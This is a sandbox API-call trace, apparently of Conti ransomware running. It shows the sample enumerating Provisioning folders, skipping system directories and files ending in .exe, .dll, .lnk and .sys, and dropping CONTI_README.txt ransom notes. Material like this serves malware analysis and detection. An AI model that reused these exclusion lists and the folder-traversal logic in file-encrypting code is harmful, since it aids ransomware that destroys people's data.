	[0106.390] lstrcmpiW (lpString1="RunTime", lpString2="winnt") returned -1
	[0106.390] lstrcmpiW (lpString1="RunTime", lpString2="Application Data") returned 1
	[0106.390] lstrcmpiW (lpString1="RunTime", lpString2="AppData") returned 1
	[0106.390] lstrcmpiW (lpString1="RunTime", lpString2="temp") returned -1
	[0106.390] lstrcmpiW (lpString1="RunTime", lpString2="thumb") returned -1
	[0106.390] lstrcmpiW (lpString1="RunTime", lpString2="$Recycle.Bin") returned 1
	[0106.390] lstrcmpiW (lpString1="RunTime", lpString2="$RECYCLE.BIN") returned 1
	[0106.390] lstrcmpiW (lpString1="RunTime", lpString2="System Volume Information") returned -1
	[0106.390] lstrcmpiW (lpString1="RunTime", lpString2="Program Files") returned 1
	[0106.390] lstrcmpiW (lpString1="RunTime", lpString2="Program Files (x86)") returned 1
	[0106.390] lstrcmpiW (lpString1="RunTime", lpString2="Boot") returned 1
	[0106.390] lstrcmpiW (lpString1="RunTime", lpString2="Windows") returned -1
	[0106.390] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov") returned 81
	[0106.390] lstrlenW (lpString="RunTime") returned 7
	[0106.390] GetProcessHeap () returned 0x1720000
	[0106.390] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c6c78
	[0106.390] lstrcpyW (in: lpString1=0x17c6c78, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov"
	[0106.390] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\"
	[0106.391] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\", lpString2="RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime"
	[0106.391] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime") returned 89
	[0106.391] GetProcessHeap () returned 0x1720000
	[0106.391] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c61b0
	[0106.391] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime"
	[0106.391] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\*"
	[0106.391] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime") returned 89
	[0106.391] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.391] GetProcessHeap () returned 0x1720000
	[0106.391] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd6) returned 0x17c7180
	[0106.391] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime"
	[0106.391] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\"
	[0106.391] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\CONTI_README.txt"
	[0106.391] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.391] GetProcessHeap () returned 0x1720000
	[0106.391] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0106.391] WriteFile (in: hFile=0x3a8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.392] CloseHandle (hObject=0x3a8) returned 1
	[0106.392] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53421cc0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8470
	[0106.392] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.392] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53421cc0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.393] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.393] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.393] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e6fcbc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e6fcbc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="0__Power_Controls.provxml", cAlternateFileName="")) returned 1
	[0106.393] lstrcmpiW (lpString1="0__Power_Controls.provxml", lpString2=".") returned 1
	[0106.393] lstrcmpiW (lpString1="0__Power_Controls.provxml", lpString2="..") returned 1
	[0106.393] StrStrIW (lpFirst="0__Power_Controls.provxml", lpSrch=".CONTI") returned 0x0
	[0106.393] StrStrIW (lpFirst="0__Power_Controls.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.393] StrStrIW (lpFirst="0__Power_Controls.provxml", lpSrch=".exe") returned 0x0
	[0106.393] StrStrIW (lpFirst="0__Power_Controls.provxml", lpSrch=".dll") returned 0x0
	[0106.393] StrStrIW (lpFirst="0__Power_Controls.provxml", lpSrch=".lnk") returned 0x0
	[0106.393] StrStrIW (lpFirst="0__Power_Controls.provxml", lpSrch=".sys") returned 0x0
	[0106.393] StrStrIW (lpFirst="0__Power_Controls.provxml", lpSrch=".CONTI") returned 0x0
	[0106.393] StrStrIW (lpFirst="0__Power_Controls.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.393] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime") returned 89
	[0106.393] lstrlenW (lpString="0__Power_Controls.provxml") returned 25
	[0106.393] GetProcessHeap () returned 0x1720000
	[0106.393] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe8) returned 0x17c7180
	[0106.393] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime"
	[0106.393] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\"
	[0106.393] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\", lpString2="0__Power_Controls.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml"
	[0106.393] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="1__Power_Controls.provxml", cAlternateFileName="")) returned 1
	[0106.393] lstrcmpiW (lpString1="1__Power_Controls.provxml", lpString2=".") returned 1
	[0106.393] lstrcmpiW (lpString1="1__Power_Controls.provxml", lpString2="..") returned 1
	[0106.393] StrStrIW (lpFirst="1__Power_Controls.provxml", lpSrch=".CONTI") returned 0x0
	[0106.393] StrStrIW (lpFirst="1__Power_Controls.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.393] StrStrIW (lpFirst="1__Power_Controls.provxml", lpSrch=".exe") returned 0x0
	[0106.393] StrStrIW (lpFirst="1__Power_Controls.provxml", lpSrch=".dll") returned 0x0
	[0106.393] StrStrIW (lpFirst="1__Power_Controls.provxml", lpSrch=".lnk") returned 0x0
	[0106.393] StrStrIW (lpFirst="1__Power_Controls.provxml", lpSrch=".sys") returned 0x0
	[0106.393] StrStrIW (lpFirst="1__Power_Controls.provxml", lpSrch=".CONTI") returned 0x0
	[0106.393] StrStrIW (lpFirst="1__Power_Controls.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.393] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime") returned 89
	[0106.394] lstrlenW (lpString="1__Power_Controls.provxml") returned 25
	[0106.394] GetProcessHeap () returned 0x1720000
	[0106.394] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe8) returned 0x17c3688
	[0106.394] lstrcpyW (in: lpString1=0x17c3688, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime"
	[0106.394] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\"
	[0106.394] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\", lpString2="1__Power_Controls.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml"
	[0106.394] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53421cc0, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53421cc0, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53421cc0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.394] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.394] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.394] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.394] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.394] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53421cc0, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53421cc0, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53421cc0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0106.394] GetProcessHeap () returned 0x1720000
	[0106.394] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0106.394] FindClose (in: hFindFile=0x17c8470 | out: hFindFile=0x17c8470) returned 1
	[0106.394] GetProcessHeap () returned 0x1720000
	[0106.394] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6c78 | out: hHeap=0x1720000) returned 1
	[0106.394] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0106.394] lstrcmpiW (lpString1="RunTime.xml", lpString2=".") returned 1
	[0106.394] lstrcmpiW (lpString1="RunTime.xml", lpString2="..") returned 1
	[0106.394] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.394] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.394] StrStrIW (lpFirst="RunTime.xml", lpSrch=".exe") returned 0x0
	[0106.394] StrStrIW (lpFirst="RunTime.xml", lpSrch=".dll") returned 0x0
	[0106.394] StrStrIW (lpFirst="RunTime.xml", lpSrch=".lnk") returned 0x0
	[0106.394] StrStrIW (lpFirst="RunTime.xml", lpSrch=".sys") returned 0x0
	[0106.394] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.394] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.394] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov") returned 81
	[0106.394] lstrlenW (lpString="RunTime.xml") returned 11
	[0106.394] GetProcessHeap () returned 0x1720000
	[0106.394] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x17cc250
	[0106.394] lstrcpyW (in: lpString1=0x17cc250, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov"
	[0106.395] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\"
	[0106.395] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\", lpString2="RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml"
	[0106.395] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 0
	[0106.395] GetProcessHeap () returned 0x1720000
	[0106.395] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65108b8 | out: hHeap=0x1720000) returned 1
	[0106.395] FindClose (in: hFindFile=0x17c85f0 | out: hFindFile=0x17c85f0) returned 1
	[0106.395] GetProcessHeap () returned 0x1720000
	[0106.395] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0106.395] FindNextFileW (in: hFindFile=0x17c83b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 0
	[0106.395] GetProcessHeap () returned 0x1720000
	[0106.395] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e768 | out: hHeap=0x1720000) returned 1
	[0106.395] FindClose (in: hFindFile=0x17c83b0 | out: hFindFile=0x17c83b0) returned 1
	[0106.395] GetProcessHeap () returned 0x1720000
	[0106.395] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f3e0 | out: hHeap=0x1720000) returned 1
	[0106.395] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="{23cb517f-5073-4e96-a202-7fe6122a2271}", cAlternateFileName="{23CB5~1")) returned 1
	[0106.395] lstrcmpiW (lpString1="{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2=".") returned 1
	[0106.395] lstrcmpiW (lpString1="{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2="..") returned 1
	[0106.395] lstrcmpiW (lpString1="{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2="tmp") returned -1
	[0106.395] lstrcmpiW (lpString1="{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2="winnt") returned -1
	[0106.395] lstrcmpiW (lpString1="{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2="Application Data") returned -1
	[0106.395] lstrcmpiW (lpString1="{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2="AppData") returned -1
	[0106.395] lstrcmpiW (lpString1="{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2="temp") returned -1
	[0106.395] lstrcmpiW (lpString1="{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2="thumb") returned -1
	[0106.395] lstrcmpiW (lpString1="{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2="$Recycle.Bin") returned 1
	[0106.395] lstrcmpiW (lpString1="{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2="$RECYCLE.BIN") returned 1
	[0106.395] lstrcmpiW (lpString1="{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2="System Volume Information") returned -1
	[0106.395] lstrcmpiW (lpString1="{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2="Program Files") returned -1
	[0106.395] lstrcmpiW (lpString1="{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2="Program Files (x86)") returned -1
	[0106.395] lstrcmpiW (lpString1="{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2="Boot") returned -1
	[0106.395] lstrcmpiW (lpString1="{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2="Windows") returned -1
	[0106.395] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning") returned 37
	[0106.395] lstrlenW (lpString="{23cb517f-5073-4e96-a202-7fe6122a2271}") returned 38
	[0106.396] GetProcessHeap () returned 0x1720000
	[0106.396] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9a) returned 0x173ed50
	[0106.396] lstrcpyW (in: lpString1=0x173ed50, lpString2="C:\\ProgramData\\Microsoft\\Provisioning" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0106.396] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\"
	[0106.396] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\", lpString2="{23cb517f-5073-4e96-a202-7fe6122a2271}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}"
	[0106.396] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned 76
	[0106.396] GetProcessHeap () returned 0x1720000
	[0106.396] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9e) returned 0x173ec00
	[0106.396] lstrcpyW (in: lpString1=0x173ec00, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}"
	[0106.396] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\*"
	[0106.396] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned 76
	[0106.396] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.396] GetProcessHeap () returned 0x1720000
	[0106.396] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x17cbcd8
	[0106.396] lstrcpyW (in: lpString1=0x17cbcd8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}"
	[0106.396] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\"
